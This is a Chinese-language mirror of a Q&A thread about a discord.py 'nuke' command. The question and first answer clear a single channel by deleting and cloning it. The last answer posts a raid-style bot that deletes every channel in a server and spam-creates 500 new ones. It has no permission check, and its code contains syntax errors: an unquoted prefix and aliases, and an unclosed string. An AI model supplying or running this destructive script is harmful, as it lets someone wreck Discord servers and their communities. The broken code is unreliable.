繁体   English   中英

discord.py 中的 Nuke 命令

[英]Nuke command in discord.py

我在我的 discord bot 中做了一个 nuke 命令,但我有两个问题。 首先是我如何向刚刚创建的频道发送消息,其次是我如何使频道与“原始”处于相同的位置。

这是我的代码:

# nuke
@client.command()
@commands.has_permissions(ban_members=True)
async def nuke(ctx):
    embed = discord.Embed(
        colour=discord.Colour.blue,
        title=f":boom: Channel ({ctx.channel.name}) has been nuked :boom:",
        description=f"Nuked by: {ctx.author.name}#{ctx.author.discriminator}"
    )
    embed.set_footer(text=f"{ctx.guild.name}  •  {datetime.strftime(datetime.now(), '%d.%m.%Y at %I:%M %p')}")
    await ctx.channel.delete(reason="nuke")
    await ctx.channel.clone(reason="nuke")
    await ctx.send(embed=embed)

您可以将克隆的频道存储在变量中:

# nuke
@client.command()
@commands.has_permissions(ban_members=True)
async def nuke(ctx):
    embed = discord.Embed(
        colour=discord.Colour.blue,
        title=f":boom: Channel ({ctx.channel.name}) has been nuked :boom:",
        description=f"Nuked by: {ctx.author.name}#{ctx.author.discriminator}"
    )
    embed.set_footer(text=f"{ctx.guild.name}  •  {datetime.strftime(datetime.now(), '%d.%m.%Y at %I:%M %p')}")
    await ctx.channel.delete(reason="nuke")
    channel = await ctx.channel.clone(reason="nuke")
    await channel.send(embed=embed)

如果不是,则应在与原始频道相同的位置创建频道:

pos = ctx.channel.position
await ctx.channel.delete()
channel = await ctx.channel.clone()
await channel.edit(position=pos)

这是我做的一个核弹命令

from discord.ext import commands

client = commands.Bot(command_prefix=$)
token = "nuke bot token"

@client.command(aliases=[destroy, wizz])
async def nuke(ctx):
    await ctx.send("LOL THIS SHIT IS GETTING NUKED)
    for channel in ctx.guild.channels:
        await channel.delete()
        print(f"Deleted {ctx.guild.channel}")
    for i in range(500):
        guild = ctx.message.guild
        await guild.create_text_channel("nuked")

client.run(token, bot=True)
 

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM